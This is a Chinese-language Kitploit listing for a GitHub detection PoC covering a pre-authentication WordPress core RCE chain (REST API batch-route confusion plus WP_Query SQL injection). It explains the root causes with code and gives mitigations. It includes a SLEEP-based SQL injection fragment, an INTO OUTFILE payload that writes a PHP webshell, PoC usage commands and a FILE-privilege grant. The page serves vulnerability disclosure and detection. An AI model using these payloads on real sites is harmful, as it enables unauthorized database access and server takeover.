Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wordpress-cve-2026-63030 — WordPress 核心中的预认证 RCE,经由 REST API 批量路由混淆 + WP_Query SQL 注入(CVE-2026-63030 / CVE-2026-60137)。检测 PoC。 | Kitploit
工具/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

WordPress 核心中的预认证 RCE,经由 REST API 批量路由混淆 + WP_Query SQL 注入(CVE-2026-63030 / CVE-2026-60137)。检测 PoC。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
4141个月前尚未审核
分享

WordPress REST API 批处理路由混淆 + SQL 注入 → RCE

预认证、未认证,无需任何插件。 通过 REST API 批处理端点即可攻击标准 WordPress 安装。

CVECVE-2026-63030(路由混淆 → RCE)+ CVE-2026-60137(SQL 注入)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
发现者Adam Kues — Assetnote / Searchlight Cyber(代号 "wp2shell")
受影响版本WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(完整 RCE 链)· 6.8.0 – 6.8.5(仅 SQL 注入)
已修复版本6.8.6、6.9.5、7.0.2、7.1-beta2
CVSS严重(RCE 链)/ 中等(独立 SQL 注入)
研究员博客https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. 概述

WordPress 核心中的两个漏洞,可串联成为未认证远程代码执行:

  1. SQL 注入:当 author__not_in 为字符串而非数组时,WP_Query 中的 is_array() 清理检查被跳过,原始值被直接插入 NOT IN (...) 子句。
  2. 批处理路由混淆:WP_REST_Server::serve_batch_request_v1() 将 WP_Error 子请求推入 $validation[],但未推入 $matches[],导致索引偏移 +1。子请求 i 最终由子请求 i+1 的处理程序来调度。

这两个漏洞单独都不足以构成威胁:REST API 在 author_exclude 到达 WP_Query 之前会先对其进行清理(type: array, items: integer),而批处理端点会拒绝 GET 子请求(enum: POST, PUT, PATCH, DELETE)。通过双重混淆将其串联,可以绕过这两项防御,以未认证方式触发 SQL 注入。

2. 根本原因

2.1 SQL 注入 — src/wp-includes/class-wp-query.php(CVE-2026-60137)

存在漏洞的版本(6.9.4):

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

当 author__not_in 为字符串时,is_array() 分支会被跳过;(array) "payload" 的结果是 ["payload"];implode(',', ...) 返回原始字符串,该字符串被直接插入 SQL 语句中。

修复(6.9.5): 改用 wp_parse_id_list(),它接受任何输入形式并返回经过清理的整数列表。

2.2 批处理路由混淆 — src/wp-includes/rest-api/class-wp-rest-server.php(CVE-2026-63030)

root@kitploit:~
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

位置 0 处的单个 WP_Error 子请求(例如格式错误的路径)会使后续每个条目偏移一位。随后请求 i 会被请求 i+1 的处理程序来调度。

修复(6.9.5): 在错误情况下也追加 $matches[] = $single_request;。额外的加固措施会在调度进行中时短路 rest_api_loaded() / serve_request()。

3. 双重混淆链

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

产生的 SQL 片段为:

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) 会对每个匹配的帖子行触发一次,因此总延迟约为 N × <已发布帖子数量> 秒。

从 SQL 注入到 RCE("wp2shell")

仅支持 SELECT 的注入(无法堆叠查询,$wpdb 使用 mysqli_query)在典型的 LAMP 技术栈上仍可实现 RCE,前提是 MySQL 用户拥有 FILE 权限——这是许多共享主机商和自管理服务器的默认配置:

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

将 PHP webshell 写入 Web 根目录,可通过 /x.php 访问。

替代路径(无需 FILE 权限)包括通过 UNION/布尔盲注读取管理员密码哈希,以及通过已认证的管理后台界面上传恶意插件。

4. 检测 / PoC

root@kitploit:~
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

该 PoC 执行两项非破坏性测试:

测试方法安全?
路由混淆(CVE-2026-63030)结构性检测——通过检查响应体中帖子独有的字段,验证内部请求 [1](categories)由帖子处理程序调度是
SQL 注入(CVE-2026-60137)
root@kitploit:~
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

针对存在漏洞的 6.9.4 实例的示例输出:

root@kitploit:~
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

无延迟 / 无结构性混淆 ⇒ 已修复(6.8.6 / 6.9.5 / 7.0.2)。

环境要求

  • Python ≥ 3.9
  • requests(pip install requests)

5. 复现

最简单的复现方式是使用官方 Docker 镜像(自动更新程序会在漏洞披露后数小时内修补大多数在线实例):

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

对于 INTO OUTFILE → RCE 步骤,请授予 FILE 权限并确保数据库进程可以写入 Web 根目录(单服务器 LAMP,或 Docker 中的共享卷):

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. 缓解措施

  1. 立即更新至 6.8.6 / 6.9.5 / 7.0.2(或更新版本)。WordPress 默认自动应用次要/安全版本(WP_AUTO_UPDATE_CORE),因此大多数在线站点已修复。
  2. 如果暂时无法更新,请在 WAF / 反向代理层面阻止对批处理端点的匿名访问:
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. 撤销 WordPress 数据库用户的 FILE 权限:
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. 确保已设置 secure_file_priv(非空):
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. 时间线

日期事件
2026-07-17WordPress 发布 6.8.6 / 6.9.5 / 7.0.2
2026-07-17发布 GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf
2026-07-17Assetnote / Searchlight Cyber 发布 "wp2shell" 安全公告 + https://wp2shell.com 检测工具

8. 参考资料

  • WordPress 安全公告
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • 发现者分析文章
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • 补丁 diff(6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • 检测站点
    • https://wp2shell.com/

9. 负责任披露

本仓库仅包含检测性质的 PoC——它使用时间盲注和结构化响应检查。它不会提取数据、写入文件或尝试 RCE。该漏洞在本文代码发布之前,已由 WordPress 和原始研究员修复并公开披露。

仅可针对您拥有或获得授权测试的系统使用。

许可证

MIT — 详见 LICENSE。

下载工具
时间盲注——通过 author_exclude 注入 SLEEP(N),并与良性基线对比测量延迟
是